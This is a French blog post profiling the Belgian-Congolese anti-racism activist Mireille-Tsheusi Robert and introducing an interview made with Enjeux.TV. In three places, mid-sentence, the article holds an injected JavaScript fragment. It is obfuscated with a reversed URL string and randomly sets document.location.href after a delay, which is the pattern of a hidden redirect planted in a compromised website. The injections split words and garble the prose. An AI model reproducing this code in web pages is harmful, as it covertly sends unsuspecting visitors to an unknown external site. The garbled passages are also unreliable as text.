J’ai rencontré une autre femme inspirée et inspirante! Rien que le fait de l’affirmer, me rappelle l’admiration que j’ai pour sa détermination. Il faut que je vous dise que ce qui est le plus appréciable encore chez notre charmante activiste est sa douceur même lorsqu’elle dit des choses difficiles à entendre.
« Entre-Temps » à la découverte de Mireille-Tsheusi Robert
Avec ce portrait, l’émission Entre-Temps ouvre une porte sur une personnalité dont le combat va bien au-delà des frontières. Son combat contre le racisme et pour l’inter-culturalité nous parlera toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous de près ou de loin. J’en suis convaincue. Et c’est la raison pour laquelle l’équipe de Enjeux.TV s’est associée à nous pour cette interview.
J’ai commencé à m’intéresser à Mireille-Tsheusi Robert quand j’ai vu son reportage -concernant la restitution des biens et oeuvres muséales mal acquis– sur la TV5 Monde. J’admire son zen devant des questions qui soulèvent les passions. Mais je ne vais pas vous en dire plus, je vous invite à regarder ses interventions, vous m’en donnerez des nouvelles!
Qui est l’activiste et auteure Mireille-Tsheusi Robert ?
Mireille-Tsheusi Robert est une activiste belge d’origine congolaise, présidente de l’association contre le racisme et pour l’interculturalité Bamko-Cran. Elle intervient notamment le cadre de la conférence sur la restitution des biens culturels africains mal-acquis et des restes humains issus de l’époques coloniales; co-organisée par le parlement Francophone Bruxellois, Bamko-Cran et l’État de la Diaspora Africaine.
Co-auteure de « Racisme antiNoirs, entre méconnaissance et mépris« , chercheuse associative et formatrice sur les questions de diversité et de genre.
Il ne faut pas être noir pour lutter contre le racisme ou femme pour tenir des propos féministes.
Eric-Emmanuel Schmitt
Une femme d’action, une femme de terrain
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source : https://bit.ly/2m8L87i
Mireille-Tsheusi Robert est titulaire d’un master en sciences de l’éducation, elle se définit comme une « tutrice de résilience » puisqu’elle accompagne des adolescents afrodescendants et des enfants victimes de racisme et en mal-être identitaire. Elle ne cesse d’organiser des
Elle est à l’initiative de la « Place Lumumba ».
source:http://www.erikraspoet.be/?p=1325
Alors laissez-moi vous dire que j’ai été épatée en découvrant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout cela sur cette grande dame. Il me fallait aller à sa rencontre pour en savoir plus.
Que nous prépare Mireille-Tsheusi Robert ?
Je vous invite d’abord à la découvrir dans cette interview réalisée en collaboration avec Enjeux.TV. Ce n’est que la première partie.
Je ne vous dévoilerai pas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous ces secrets, il faudra la découvrir dans l’interview.
Ce que j’ai découvert en regardant ses interviews-Il existe une convention de l’UNESCO datant de 1970 concernant les mesures à prendre pour interdire et empêcher l’importation, l’exportation et le transfert de propriété illicites des biens culturels. -Il y a des études européennes et des études belges confirment que la femme noire est la plus diplômée du secteur mais qu’elle met quatre fois plus de temps à trouver un emploi. -En France, une femme noire a cinq fois plus de chance de mourir en couche. car moins bien prises en charge par les médecins. “syndrome méditerranéen” |
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